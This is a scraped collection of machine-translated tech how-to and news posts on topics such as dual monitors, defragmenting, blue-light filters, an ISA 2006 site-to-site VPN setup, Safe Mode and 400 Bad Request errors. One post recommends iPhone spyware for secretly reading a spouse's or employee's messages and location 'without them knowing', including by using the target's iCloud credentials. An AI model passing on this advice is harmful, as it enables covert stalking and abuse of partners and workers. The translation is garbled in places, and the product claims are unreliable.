curated stations and personal taste preferences'. In the app, you will see a progress bar indicating how long the transition will take. In the meantime, you can still use YouTube Music as usual.\nThe content will be transferred After the import process is complete, you will see an option on the front page to allow you to continue enjoying the songs you are listening to in Google Play Music. In general, the process of transferring music library from Google Play Music to YouTube Music takes place completely automatically, you just need to select the content you want to transfer, then the application will do the rest. This is a small but very useful feature for Google Play Music users at the moment.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZKato56wbrjIm6maqqlis7O7zGaeqKeXobJuvMuasGalpai2pHnTqGSyp6WpwqOxjKasrKGT\n","link":"/post/how-to-transfer-music-library-from-google-play-music-to-youtube-music/","section":"post","tags":null,"title":"How to transfer music library from Google Play Music to YouTube Music"},{"body":"With the development of technology, computer hardware such as monitors and graphics cards have become cheaper and more diverse. For those who are passionate about working and using two computer screens, we can reach that dream more easily. In today's article, TipsMake.com with readers how to use 2 computer screens on Windows 10 when we own a 2-screen computer dream system!\n1. Prepare the hardware - To project from a computer to two monitors, we must prepare a cable connected to the monitor and the monitor must support a standard connection on the computer such as HDMI, VGA . If your computer has only one port If the image is VGA or HDMI, you can find and use image splitters such as dual VGA, Dual HDMI . However, the image when outputting two monitors with the same cable may appear delay or asynchronous picture error, does not recognize the dual screen function.\n  Instead of using a signal splitter cable, the best solution for using two monitors effectively is to use a discrete graphics card that supports multiple image signal ports such as HDMI, DVI, Display Port . then we can work with two monitors efficiently and drivers on the graphics card models that support the use of two monitors on the computer. In addition, we also enjoy sharp, beautiful images and good frame sync capabilities if both the monitor and the graphics card support synchronization features such as Nvidia G-sync or AMD Free Sync.\u0026nbsp;\n  On some laptops equipped with both VGA and HDMI ports, we can use these two ports to output images to the screen, but the image signal via the VGA port will not be as good as the signal via the HDMI port. This is overcome by some newer laptops with USB Type C or Thunder Bolt that will improve the image quality compared to the old VGA port.\n2. Set up two-screen mode on Windows 10 Step 1: Click on the Notification center (1) in the right corner of the screen, then click on Project (2) to customize the screen projection settings. Or you can use the keyboard shortcut Windows + P also has the same function.\n  Step 2: You set the modes for the secondary screen and the main screen such as Only play the main screen (PC screen only) , project both screens simultaneously (Duplicate) , the mode of extending the image to 2 screens Figure (Extend) , shown on the screen only women (Second screen only) .\n  3. Other settings under Display 3.1. Set up Rearrange your displays Step 1: Right-click the Start menu (1) =\u0026gt; select Settings (2) .\n  Step 2: Click on System .\n  Step 3: In the Display tab , click No. 1 or 2 and hold the mouse to move left or right to change the display position of the screen.\n  3.2. Customize the Scale and layout Still in Display, but when you scroll down, you'll find the Scale and layout lines to set the zoom on the screen. If your screen has a high resolution but the size (inch) is small, we must use this feature to enlarge the text and icons up for easy viewing.\n  3.3. Fix the error of not finding the secondary screen You plugged in the jack already but still haven't seen the image appear? It is possible that your screen is hidden and we can search for the device via a Windows tool. You access Display card (1) =\u0026gt; scroll down to Multiple Display line and click on Detect (2) to add a secondary screen to the driver.\n  Using 2 monitors on a computer is a great and enjoyable experience. With the sharing in this article, readers can connect 2 monitors on a Windows 10 computer and use it most effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnpzecyopaKsn6fAbrvNZq6ippSkxLR5kGk%3D\n","link":"/post/how-to-use-2-monitors-on-windows-10/","section":"post","tags":null,"title":"How to use 2 monitors on Windows 10"},{"body":"One of the reasons for the slowdown of the computer is that the hard drive is fragmented. Therefore, choosing a software to reduce and limit hard disk fragmentation is essential. And Smart Defrag is one such software.\nSmart Defrag is completely free software, has the ability to defragment hard drive effectively, speed of processing quickly to help users to improve computer hard drive, thereby limiting sluggish operation, slow. In the following article, we will show you how to use Smart Defrag to defragment your computer hard drive.\nSmart Defrag defragments the hard drive First of all, download the latest Smart Defrag software according to the link below:\nDownload Smart Defrag software Step 1: After downloading Smart Defrag software to your computer, we click on the exe file to install the software. Click Accept and Install .\nNote , do not tick the suggested software on the installation interface.\n  Step 2: Next to you for the installation process to take place automatically. Then, enter the email address into the interface below and then click Subscribe .\n  Step 3: After the installation of Smart Defrag is completed, the software will automatically run in the background on the system and the interface will appear as shown below.\n  In the Disk Defrag tab, we will see the current partitions of the computer drive, two options for optimizing Windows applications and choosing more files and folders to optimize.\n  Step 4: To perform optimal defragmentation for disk partitions, we hover the Smart Defrag button and select Defrag \u0026amp; Optimize .\n  Soon, we will see the disk analysis and disk defragmentation process taking place. During the process, if you want to pause , press Pause or click Stop to stop the process completely .\n  In case you want to defragment each drive , just select the drive and also hover over Smart Defrag , then select Defrag \u0026amp; Optimize .\n  Step 5: After the disk defragmentation process is finished, click the View Report item to see the disk defragmentation results.\n  We will be taken to a completely new web interface with disk defragmentation results. At this interface, you will see the rate before and after fragmentation shown in percentage.\nNext is the total number of files, folders and files and folders that have defragmented.\n  Step 6: Continue clicking Boot Time Defrag tab, we will see options for Smart Defrag to defragment important data and partitions to speed up the system.\nThis feature usually applies to computers that continuously operate in high intensity, making the machine work better and better.\n  Step 7: In case you want to optimize and defragment the area containing the game installation file, click the Game Optimize tab. Then click on the plus icon as shown below, then select the game folder you want to execute.\n  Step 8: Next, when clicking on the 3 dash icon, you will come up with options for Smart Defrag software. Click the Settings button.\n  Step 9: The installation interface appears. Here, if you want to schedule automatic disk defragmentation , check Defrag\u0026gt; Scheduled Defrag . Next, push the horizontal bar to the right in Status .\nAction section, we will choose Defrag \u0026amp; Optimize action . Down below select the drive you want to perform. Then select the date time , then click Apply to save the defragmentation schedule, then click OK to complete the appointment.\n  The above is a tutorial on how to install and use Smart Defrag software, defragment the computer disk. After performing the process of defragmenting the drive, files, folders or game files, the performance of the computer will be much more stable.\nRefer to the following articles: When and how to defragment hard drives on Windows 10? Steps to fix errors: 'Windows Protection Resource cannot start the repair service' How to transfer Windows to a new hard drive using EaseUS Todo Backup I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0ucCrq2aclZu%2ForOMraZmnJWbv6KzzJ6lrWWYlr%2BlecOroK%2Bdo2Kyp7LEnKuirpWhxg%3D%3D\n","link":"/post/how-to-use-smart-defrag-to-defragment-hard-drives-effectively/","section":"post","tags":null,"title":"How to use Smart Defrag to defragment hard drives effectively"},{"body":"Development based on the Intel Classmate PC line has been launched by Intel with students and students. Recently, Intel has partnered with Zoomstorm to produce the latest line of computers called Fizzbook designed for children aged 6-14 with the aim of helping children have more opportunities to access the technology world. easier. With a rather compact design, Fizzbook has all the functions as a regular personal computer using Windows XP operating system, Intel Atom chip, 7 inch color screen, 4Gb hard drive, Ram 512Mb, two USB ports. In addition to text editing this mini laptop can also connect to the Internet, listen to music and play games.\n  Mini laptop for children Fizzbook\nDedicated to children, this mini laptop is very focused on form and color.\n  Fizzbook has quite gentle colors\n' Fizzbooks will be very helpful in education, managing children in class as well as when going home, this mini laptop can run software programs to support children's education via the Internet. The product will be widely available on the market starting September 2008 and will continue to be updated to the latest version in early 2009. ' Zoostorm Director Sion Roberts said.\n  Children will have many opportunities to access technology\nAlso, if you want to 'upgrade' this mini laptop, you only need an extra 70 USD for a bigger screen, 1Gb Ram, 30Gb hard drive and a Webcam.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkpZmlo7CpsdJmpKKmmWK5orzTqKc%3D\n","link":"/post/intel-launches-mini-laptop/","section":"post","tags":null,"title":"Intel launches 'mini' laptop"},{"body":"In order to display information to our brain, computer screens use different light beams to let the eye read and record them. Of the light beams emitted from screens, blue light is said to be the most dangerous because they directly affect the eyes.\nTherefore, manufacturers have found ways to minimize blue light beams for the purpose of protecting the eyes of users. Most recently, Windows 10 has provided a blue light filter directly on its operating system to maximize user support. However, other operating systems are not built-in and must use tools from the 3rd manufacturer.\n1. Blue light filtering on Windows 10 computers As mentioned above, the Windows 10 operating system is highly appreciated for its perfection and blue light filtering feature is now available. To enable blue light filtering, you need to do the following:\nStep 1: You proceed to open the Start Menu and enter Settings to open.\n  Step 2: In the Settings window , select the System item to open the settings related to the computer system and display.\n  Step 3: In the System section , select the Display tab (1) to open the screen-related settings and navigate to the Night Light section (2) to turn on the blue light filter mode.\n  Step 4: To achieve greater efficiency, select Night Light Settings to open all related settings.\n  Step 5: Here, you can adjust the Strength bar to change the level of blue light filtering on the screen. The higher the Strength level, the more yellow your screen will be, and if the Strength level is low, your screen will be much bluer.\nAs for Strength , there is no definite standard, they depend mainly on the user's experience. However, it only takes a while to get used to the colors of the new screen.\n  Step 6: To set the time to automatically turn on the blue light mode, select the Schedule night light item and proceed to set Turn on / Turn off (time off) .\n  2. Filter out blue light on any computer For other operating systems like Windows 7, Windows XP, Microsoft does not have this feature built-in, so you will have to use 3rd software. In this article, Software Tips will share with you the part. F.lux software with extreme performance.\nStep 1: You proceed to access the link here to download the software to your computer and install it.\nStep 2: When you start F.lux for the first time, the system will ask you to enter Zipcode or Coordinates to write the location. You proceed to enter  100000 \u0026nbsp;\u0026nbsp;(1) and click OK (2) to complete.\n  Step 3: At the main interface of F.lux software, you proceed to adjust the intensity bar to increase / decrease the level of blue light filtering on the computer.\n  Step 4: Next, you click on the item Working time mode (1) and proceed to change the intensity of computer use during the period of a day (2) .\nDaytime: Daytime working time Sunset: Working time at sunset Badtime: Working time before going to bed If you do not require too much of this feature, you can set the same 03 parameters (03 buttons in line).\n  Step 5: In addition, you can also set the start time to use the computer so that the system calculates and starts the software at the same time. This will help you not to forget to turn on the blue light filter and save a lot of time.\n  In this article, TipsMake has shown you how to filter blue light on your PC, Laptop to protect your eyes. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7atwMSrZJukpZp6rbXGoatmp55ivaR5y5qnraegYsGwec%2Brpq2dk6l6psXErA%3D%3D\n","link":"/post/steps-to-filter-blue-light-on-pc-laptop-to-protect-eyes/","section":"post","tags":null,"title":"Steps to filter blue light on PC, Laptop to protect eyes"},{"body":"Valve prepares to launch two new Steam Link and Steam Video applications for Android and iOS platforms to support stream next week. These two new applications are designed to extend access to its Steam service.\nWith Steam Link, users can experience Valve's Steam game library by streaming on Android and iOS devices such as phones, tablets and even TVs. This means you can play some PC games right on your phone and tablet.\n  But Steam Link only supports when users connect to a 5GHz Wi-Fi network or a wired connection to the main computer is Mac or PC. Therefore, if connected by mobile network, users will not be able to stream games to the phone, at least at this initial time.\nValve has yet to announce the operation of this revolutionary application as well as what games will be supported. The first Steam Link version will be released on Android first. Valve has also supported this feature on some Samsung smart TVs.\n  When Steam Link officially operates, it will support both Steam Controller, MFI-compatible gaming handles and many other devices on both platforms. But the user will use the bluetooth keyboard or touch control on the phone to experience mobile games, then wait until the application is released on May 21, we have the answer .\nSteam Video is an application that allows users to watch thousands of movies and programs available on Steam from their Android and iOS devices on Wi-Fi or LTE. Similar to other services like Netflix or iFlix, with Steam Video users can also download movies to watch offline or stream live. Valve may release this application in late summer.\nSee more:\nInvite a Japanese indie web game experience inspired by turning on / off extremely interesting flashlight PUBG Mobile lost the number 1 position on Google Play by this super simple game Fortnite is officially open, all iOS users can download it easily ncG1vNJzZmismaXArq3KnmWcp51kw6K41Z5koqtdlq%2BwwdNmq6hlnJbCr6%2FHZphmppWseqK8z2aroZmkYrmmwNJmsKitXaW5osWMrKuemZ1itKK5xKxknpmjnrm6ec6nZKankp65pg%3D%3D\n","link":"/post/valve-is-about-to-launch-a-new-app-that-lets-you-play-steam-games-easily-on-mobile/","section":"post","tags":null,"title":"Valve is about to launch a new app that lets you play Steam games easily on Mobile"},{"body":"Today, smartphones are becoming more and more useful and play a huge role in our daily lives. It can be said that everyone needs a smartphone and they can't even leave it. So it records more and more important information on smartphones.\nSuppose you want to track an employee you don't trust, want to see if they are working on time, visit any websites, or do anything that harms the company's reputation? And how to read text messages from another phone without them knowing? Or simply want to control children or your spouse (spouse) who they talk to, text to... Phone tracking software can help you do it all. these.\nPhone tracking software is created to assist you in tracking, locating, and managing each activity of the device online.\nWe can completely use this mobile application to manage which websites are used to access any website, or view location by GPS as well as know who is texting . who is followed. track does not know. Not only that, these software also help you find the phone and locate other people's phone numbers by GPS quickly if you drop them somewhere.\nHere is a list of\u0026nbsp;8 most popular iPhone phone tracking software that you can choose from.\n  \u0026nbsp;1. mSpy mSpy is an application designed to monitor mobile phones, tablets or PC / Mac. Once installed, the application allows users to view call logs, SMS text messages, browsing history, GPS location, multimedia files, SMS messages, instant MMS and some apps. Use other popular social networks on the target device.\nThrough your web-based dashboard, you can safely view all of this information without the user's knowledge. This dashboard is available on PC or mobile device.\nmSpy is used for many different purposes. Some users use the app to check and track a child's devices, see what they do, what websites they visit.\n  MSpy tracking provides the best surveillance solutions for all Iphone 4 and up. More than a million people around the world use mSpy to track their families and employees. The mSpy app gives you the opportunity to install it both on jailbroken and non-jailbroken iPhone.\nAdvantages\nAllows management of messages\u0026nbsp; Track location There are control panel Apps and monitoring programs Defect\nDepends on the Internet 2.\u0026nbsp;Spyier Spyier\u0026nbsp;is the best solution for you to track an iPhone for free. It is the world's most preferred tracking solution, with more than 30 features in it. Millions of people across the globe are already using it.\nAdvantages\nThere is no download or installation:\u0026nbsp; Spyier does not require to be installed on the targeted phone. All you require are the iCloud credentials of their iPhone. Little or no battery drain: Your target will not be wondering why their battery is draining so fast. So, Spyier does not raise any suspicions. No jailbreaking: You do not need to alter the target's device OS to start tracking. Defect\nDepends on the Internet 3. Mobile Spy Mobile Spy is a tracking software that allows you to monitor complete data of all your incoming and outgoing messages. Control calls, messages and search history in the browser.\nAdvantages\nAllows call blocking Allows blocking of unsafe websites High confidentiality and reliability Defect\nNo specific and clear advice 4. Spyphone Tap Spyphone Tap app is a semi-advanced application that allows you to listen to each other and each voice during an active phone call, block calls, and perform a remote iPhone reboot\nAdvantages\nSupport call blocking Easy to install and easy to use Doesn't depend on the Internet Defect\nCall barring service is not supported 5. ReconBot ReconBot turns your iPhone into a tracking device thanks to the ability to track videos, photos and recording\u0026nbsp;\nFeatures, characteristics\nThis software lets you know exactly where the recording took place thanks to the GPS tagging feature. Advantages\nSecurely and accurately deliver audio, video, and image clips to a server Pictures and videos can be cut and compressed. Defect\nDepends on the Internet. 6. Spy Kit Spy suite is an iPhone spyware that brings together a combination of a hidden camera, and a secret recorder. This app has been developed by Criswar Productions Inc.\nAdvantages\nThis tracking software is suitable for iPhone with iOS version 8 or later. Recording allowed\u0026nbsp; Defect\nDepends on the Internet Does not apply on any iOS device with a lower operating system version\u0026nbsp; 7. SpyBubble Pro Spy Bubble is an iPhone spy software used to track an iPhone user's location, track on YouTube, email and track photos.\nAdvantages\nAllows web blocking\u0026nbsp; Monitoring of social media websites and marketing platforms Easy to use\u0026nbsp; Track location Defect\nOnly works on updated devices. 8. GPS Location Tracker GPS Tracker locator software is an iPhone spy software developed by LLC. You just need to install it on the device you want to monitor, and the application will automatically record the different locations, then download the information to the server and ensure absolute confidentiality.\nAdvantages\nThis is a security software Used to search for a lost phone and track the daily activities of a tracked subject. Defect\u0026nbsp;\nLoss of privacy This article we have shared for you 9 iPhone tracking software on iOS. These software are completely free and available on the Appstore. Tracking software is not bad, but you must know how to select and use these tracking software appropriately to avoid negative consequences.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51khW65zqyrZqifpcKtrdFmoKmgn6OybsDRmpqkoZ6cerS7xa2umqqVYryvecioqg%3D%3D\n","link":"/post/8-most-popular-iphone-tracking-software-on-ios/","section":"post","tags":null,"title":"8 most popular iPhone tracking software on iOs"},{"body":" Create a Site-to-site VPN on ISA 2006 (Part 1) Create a Site-to-site VPN on ISA 2006 (Part 2) Create a Site-to-site VPN on ISA 2006 (Part 3)\nConfigure the main office ISA firewall at the main office with the Remote Site Network used in the site to site VPN connection between the head office and the branch office.\nIn the first three parts of the series using the Branch Office Connectivity Wizard to connect the ISA Firewall between the main office and the branch office, we discussed the network infrastructure for example, going through important concepts in Create site to site virtual private network, configure network services to support and install CSS, main office ISA Firewall, branch office ISA Firewall. At the end of lesson 3 we are stopping when the branch office ISA Firewall is ready to accept the answer file that will be used in the Branch Office Connectivity Wizard.\nIn this part 4, we will continue with configuring the main office ISA Firewall in the Remote Site Network, which is used to create the site to site VPN connection between the head office and the branch office. After creating the Remote Site Network, we can use the Answer File Wizard to create an answer file that will be used by the Branch Office Connectivity Wizard to create a site to site VPN connection. The Branch Office Connectivity Wizard will also allow you to automatically link the branch office ISA Firewall to the domain, providing the highest level of security and flexibility possible.\nCreate Remote Site Network for Branch Office connections via site to site virtual private network\nNow we need to create the remote class network, initiating the site to site VPN connection from the head office to the branch office. After configuring the site to site virtual private network completely, we can create the answer file and copy it to the root (root) folder on the C: drive of the branch ISA Firewall. The Branch Office Connectivity Wizard will automatically find the answer file to complete the site to site VPN connection configuration.\nFollow these steps to create a site to site virtual private network connection from the main office ISA Firewall to the branch office ISA Firewall:\nOn the CSS machine, expand the Arrays node, then the Main array button. Click on Virtual Private networks (VPN) and Remote Sites tab between the ISA Firewall console frame and the Tasks tab in the Task Pane. On the Task Pane, click the Create VPN Site to Site Connection link .\n    Figure 1\nOn the Welcome to the Create [sic] page, VPN Site to Site Connection Wizard , enter the remote class name in the Site to site network name box . This is the demand-dial interface name on the ISA Firewall, which will accept the upcoming connection of the branch office ISA Firewall. You need to create user accounts on the machine, with dial-in access rights with the same name. The wizard will notify you to create a user account after completing the installation process. Click Next .\n    Figure 2\nOn the VPN Protocol page, select Layer Two Tunneling Protocol (L2TP) over IPSec . This option is more suitable for you when connecting two ISA Firewalls in a site to site virtual private network connection. You can only use the Branch Office Connectivity Wizard when you have the ISA Firewall on both sides of the site to site VPN link. And the Branch Office Connectivity Wizard only works when you use the L2TP / IPSec or IPSec tunnel model. The IPSec tunnel should be avoided because it is less secure and has less performance than L2TP / IPSec, since there is no header compression mechanism. If using PPTP as a VPN protocol, the option to create an answer file based on the remote network configuration will not work. Click Next .\n    Figure 3\nA warning dialog box will appear, telling you that you need to create a user account with the same name as the demand-dial interface, which you provide to Remote Site Network from the start of the Wizard. We will create this account at the end of the site to site Remote Site Network virtual private network connection. Click OK .\n    Figure 4\nOn the Local Network VPN Settings page , select the method the ISA Firewall will use to assign IP addresses to remote access VPN clients and VPN gateways. In our current example, the main office has a DHCP server on the subnet. So we will choose Dynamic Host Configuration Protocol (DHCP) . Note that DHCP is not supported for multi-member ISA Firewall arrays. Click Next .\n    Figure 5\nAccept the default settings on the connection owner page. Since this is a single member ISA Firewall array, only a single machine can be the owner of the connection. If we have multiple members in this ISA Firewall array, and using NLB then NLB will automatically assign connection ownership to the site to site VPN connection. Click Next .\n    Figure 6\nOn the Remote Site Gateway page, you need to enter the FQDN or IP address of the branch ISA Firewall. In this example, the IP address of the branch ISA Firewall is 192.168.1.73 , and enter the box next to it. (Note that this is a private IP address in the lab. In a production environment, of course the ISA Firewall will be on the network and have a normal IP address). Enter the IP address in the Remote site VPN server box and click Next .\n    Figure 7\nOn the Remote Authentication page, enter the authentication information that the main ISA Firewall can use to connect to the branch ISA Firewall in the site to site VPN connection. Put a checkmark in the Allow the local site checkbox to initiate connections to the remote site, using this user account , then enter the information User name , Domain , Password and Confirm Password into the corresponding boxes.\nI prefer to use local accounts on machines rather than domain accounts. In fact, we can use domain accounts in this case, because the branch office ISA Firewall will not become a domain member until the process of creating the site to site VPN connection is set. up. In our case, you will have to create a user account with the name Main on the branch ISA Firewall named ISA2006BRANCH . This helps explain the information in the picture below. Click Next.\n    Figure 8\nOn the L2TP / IPSec Outgoing Authentication page , select the certificate authentication mechanism or the 'pre-shared' key. In a production environment, you should start with the pre-shared key and after everything works as expected, switch to certificate authentication.\nSelect Pre-shared key authentication and enter the key. In this example I used 123 key for simplicity, and in a production environment, you need to use a composite key with more than 14 characters. Click Next .\n    Figure 9\nOn the Incoming L2TP / IPSec Authentication page , select the authentication method you want the branch office ISA Firewall to use when creating the IPSec connection with the main ISA Firewall. In this example, I will use the same method as on the main office: the pre-shared key with the key value of 123 . Click Next .\n   Figure 10\nOn the Network Addresses page, you need to enter the IP address limit used on the Remote Site Network. Then click the Add button. In the IP Address Range Properties dialog box, enter the address limit used on the branch office. In this example, the extensions are located on the network ID 10.0.1.0/24 . Enter 10.0.1.0 in the Start address box and 10.0.1.255 in the End address box. Click OK .\n    Figure 11\nThe branch address limit appears on the Network addresses page. Click Next .\n   Figure 12\nOn the Remote NLB page, uncheck the checkbox in The remote site is enabled for Network Load Balancing because we do not use NLB at the branch office. Click Next .\n    Figure 13\nOn the Site to Site Network Rule page , accept the default Create a network specifying a route relationship option and the default rule name. Click Next .\n    Figure 14\nOn the Site to Site Network Access Rule page , you can create an Access Rule that controls the traffic that flows through the site to site virtual private network at the main office ISA Firewall. In this example, we will choose Create an allow access rule . Leave the default name for the Access Rule in the Access Rule name box. From the Apply the rule to these protocols list , select All outbound traffic . Later we will lock up some things, but now, at the beginning, you need to make sure whether the site to site VPN settings are successful and whether the branch office ISA Firewall can link to the domain. After the site to site VPN connection is established, we will lock some functions to access the appropriate intradomain (internal) contacts and to gain server access. Click Next .\n    Figure 15\nOn the Completing the New VPN Site to Site Network Wizard page , click Finish .\n    Figure 16\nRemaining VPN Dialog Site to Site Tasks notifies you that you need to create a user account on the host ISA Firewall so that the branch office ISA Firewall can be used to authenticate the site to site VPN connection. Click OK .\n    Figure 17\nClick Apply to record all changes and update the firewall policy. Click OK in the Apply New Configuration dialog box.\n Click on the Branch information in the class list of site to site VPN connections and Tasks tab. Note, in the Related Tasks list there is a new option: Create Answer File for Remote VPN Site . This option will be applied after creating a remote site to site VPN and will only work in ISA 2006 Enterprise Edition. If you use ISA 2006 Standard Edition, you will have to do all this yourself, without any 'benefit' or answer files supported.\n    Figure 18\nNow we need to do the configuration task: create the user account the branch ISA Firewall will use to authenticate the main ISA Firewall. Follow these steps on the main office ISA Firewall computer (NOT CSS) to create user accounts and complete the configuration:\nRight-click My Computer and select the Manage command.\n    Figure 19\nIn the Computer Management console, expand the System Tools button, then the Local Users and Groups button. Right-click on an empty location in the right pane and click the New User command.\n    Figure 20\nIn the New User dialog box, enter Branch in the User name box. This is an extremely important setting, because the user's name must be the same as the name assigned in the demand dial interface on the main ISA Firewall connected to the branch ISA Firewall. Enter the password and verify the password. Uncheck the User must change password at next logon box and check for User cannot change password and Password next expires . Click Create .\n    Figure 21\nClick Close in the New User dialog box.\n Double-click the Branch user, the Branch Properties dialog box appears.\n   Figure 22\nClose the Computer Management console.\n Restart the ISA Firewall machine.\n Summary\nPart four of the site to site VPN virtualization series uses this Branch Office Connect Wizard, we have reviewed the procedures needed to create the Remote Site Network. We have also created a user account at the main office server that the branch office ISA Firewall will use to establish a site to site connection from the branch office to the main office. In the next part of this series, we will join the site to site VPN Program Answer File Wizard to create the answer file transmitted to the branch ISA Firewall.\nCreate a Site-to-site VPN on ISA 2006 (Part 5)\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpldqLa1sdOoqqKslWLDsbqMqKVmoaOWenN8j29kqZmiqXp1\n","link":"/post/create-a-site-to-site-vpn-on-isa-2006-part-4/","section":"post","tags":null,"title":"Create a Site-to-site VPN on ISA 2006 (Part 4)"},{"body":"There are many problems with the operating system when misconfiguring the software or installing the wrong driver, then the job we need to do is to uninstall what has just been done.However, there are many cases of unacceptable errors in the normal desktop.Then we can use Safe Mode to fix this.\nWindows 7 is considered the most stable operating system of Microsoft ever, but it is inevitable that the blue screen error - BSOD or the popular black screen error. No wonder there is a problem when you upgrade the BIOS or download new drivers, or just surf the web. However, that doesn't mean you have to throw away your device and replace it with a new one.\nWhen a computer fails or the operating system has problems starting up, the problem is often the misconfiguration of the recently installed software or driver. Installation may go smoothly, but when you reboot the system, chances are you'll get an error. If you cannot access the desktop, you will not be able to uninstall the installed program or driver.\nLuckily for us, Microsoft supports an internal Windows tool called Safe Mode to help you fix the above problems. Safe Mode is a \"bare-bone\" version of Windows operating system, it only has the necessary drivers for booting the system, allowing you to access the desktop without any settings or intervention. other software. Once you have access to the desktop, you can completely fix the problem, eliminate the problem and start the system normally.\nTo enter Safe Mode , we need to follow these steps:\n  You can see Safe Mode in the Advanced Boot Options menu\nTurn on or restart the computer Wait until the computer starts hardware and prepare to load the operating system. Press and hold theF8keywhile waiting for the Windows logo to appear.If the Windows logo appears or if the operating system starts to load, you need to restart the computer to perform this task again. The Advanced Boot Options screen for Windows will appear. Use the arrow keys on the keyboard to select Safe Mode and press Return. If you need Internet or network access in Safe Mode , select Safe Mode with Networking . Windows will boot in Safe Mode . When the desktop appears, it will display ' Safe Mode ' in all four corners of the screen to let you know that you are in special mode. When finished, clickStart, Shut Down, Restartto restart the computer as usual. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksq%2BtwaWcZquRm7Juuc6dnGahnmLEqrrDqK6sZWc%3D\n","link":"/post/enable-safe-mode-in-windows-7/","section":"post","tags":null,"title":"Enable Safe Mode in Windows 7"},{"body":"Sometimes in some cases when you visit a website, you will see a 400 Bad Request error message on the screen. Although the solution has been applied, press Ctrl + F5 key but still cannot fix the error.\nIn this case, the server may discover that the cookie size of the domain you visit is too large or that some cookies have been corrupted, so it refuses to serve the master website.\nFix 400 Bad Request error 1. The cause of the 400 Bad Request error 2. Fix 400 Bad Request error 2.1. Delete a specific website cookie on the Chrome browser 2.2. Delete a specific web page cookie on FireFox browser 2.3. Delete a specific web page cookie on Internet Explorer 2.4. Delete browsing history, cookies, data and cache on Edge browser  Some other ways to fix Bad Request 400 errors Some similar errors 1. The cause of the 400 Bad Request error The 400 Bad Request error is an HTTP status code that usually appears when you send it to a web server, which is usually as simple as requiring a web page to load, but in some way it is incorrect or broken and the server cannot understand.\nThe 400 Bad Request error is usually caused when you enter or paste the wrong URL in the address window. But there are also some other relatively common causes that cause this error.\n400 Bad Request appears in different formats on different websites, so you can see something from the short list below, instead of just \"400\" or another simple variation like after:\n400 Bad Request Bad Request. Your browser sent a request that this server could not understand. Bad Request - Invalid URL HTTP Error 400 - Bad Request Bad Request: Error 400 HTTP Error 400. The request hostname is invalid. 400 - Bad request. The request could not be understood by the server due to malformed syntax. The client should not repeat the request without modifications.  The 400 Bad Request error is displayed inside the Internet web browser window, just like web pages. The 400 Bad Request error, like all errors of this type, can be found in any operating system and browser.\nIn Internet Explorer, the message ' The webpage cannot be found ' is equivalent to the 400 Bad Request error. IE title bar will display an HTTP 400 Bad Request error or something similar.\nWindows Update may also report an HTTP 400 error, but it appears as an error code 0x80244016 or with the message WU_E_PT_HTTP_STATUS_BAD_REQUEST.\nError 400 reported for links in the Microsoft Office application will often appear as a message ' The remote server returned an error: (400) Bad Request. 'in a small pop-up window.\nNote: Web servers running Microsoft IIS often provide more specific information about the cause of the 400 Bad Request error by adding a number after 400. For example, the ' HTTP Error 400.1 - Bad Request ' error , yes means ' Invalid Destination Header ' - Invalid destination title.\nThe cause of the 400 Bad Request error on Chrome, Firefox and Internet Explorer browsers is related to a website cookie that is corrupted or by browser cookies or system files that are corrupted.\n2. Fix 400 Bad Request error 2.1. Delete a specific website cookie on the Chrome browser Step 1:\nOn Chrome browser, click on the 3 dash line icon in the top right corner of the screen, then click Settings .\n  Step 2:\nOn the Settings window, scroll down to find and select the option Show advanced settings (show advanced settings ).\n  Step 3:\nAt Privacy, click on Content Settings .\n  Step 4:\nOn the Content Settings window, under Cookies, click All cookies and site data.\n  \nStep 5:\nOn the Search box, you enter the domain with the Bad Request error.\n  Step 6:\nSelect the domain from the search results then click the Remove all button .\n  \n2.2. Delete a specific web page cookie on FireFox browser Step 1:\nOn FireFox browser, select Firefox Menu, then click Options =\u0026gt; Options .\n  Step 2:\nNext on the Options window, select the Privacy tab, then select Remove individual cookies.\n  \nStep 3:\nOn the Search box, enter the domain where you have the Bad Request error.\nThen select the domain from the search results and then click the Remove All Cookies button.\n  2.3. Delete a specific web page cookie on Internet Explorer Step 1:\nOn Internet Explorer, click the jag icon, then select Internet Options .\n  Step 2:\nIn the Internet Options window, click the General tab, at the Browsing history section, select Settings .\n  Step 3:\nNext select link View Files . Find the location of the cookie file causing the error and delete the cookie file.\n  2.4. Delete browsing history, cookies, data and cache on Edge browser   To clear your browsing history, cookies, data and cache on the Edge browser, first open the Edge browser, then click the 3 dots icon in the top right corner of the screen.\nNext click History . Here you can view all browsing history.\nClick Clear History , then click Show more , you will see the option to clear your browsing history, cookies, data and cache, .\nYou can see the available options:\nBrowsing history Cookie và lưu dữ liệu website Cached data and files Tải history Form data Passwords Media licenses Pop-up exceptions Location permissions Full screen permissions Compatibility permissions Select the options you want to delete, then click the Clear button .\nSome other ways to fix Bad Request 400 errors 1. Check for errors in the URL: The most common reason for the 400 Bad Request error is because the URL has been entered incorrectly, or the clicked link points to a malformed URL with a specific type of error, for example like syntax.\nImportant note : A 400 Bad Request error may become a serious issue. Specifically, check for extra characters, often not allowed in URLs, like for example, a percentage character. Although, sometimes the % character can still be used properly, but often you won't see such special characters in a standard URL.\n2. Try troubleshooting as you did with the ' 504 Gateway Timeout ' error, although you are receiving a 400 Bad Request error.\nAlthough this is not a common fix, but in some relatively rare cases, two servers may take too much time to communicate (port timeout issue) but still cannot connect exactly or at least no response, so the problem is reported to you as 400 Bad Request.\n3. If you are uploading a file to the website, this error may occur, most likely the cause of the 400 Bad Request error is because the file size is too large and therefore the server rejects it.\n4. If error 400 occurs on almost every site you visit, then there is a possibility that your computer or Internet connection may have a problem. Run an Internet speed test with your ISP to make sure everything is configured correctly.\n5. Direct contact with the site hosting page: Maybe the cause of the 400 Bad Request error is not really coming from you, but the website hosting. In that case, notifying the hosting site about the problem will help you fix the problem.\nMost websites have social networking sites and sometimes even phone numbers and email addresses.\nTip: If the entire site has a 400 Bad Request error, Twitter search for hashtag #websitedown is often useful, such as #facebookdown or #gmaildown. This will definitely not help you fix the problem, but at least you know not only you encounter this error!\nIf none of the above methods work, and you are sure that the problem does not come from your computer, the only way is to come back and check 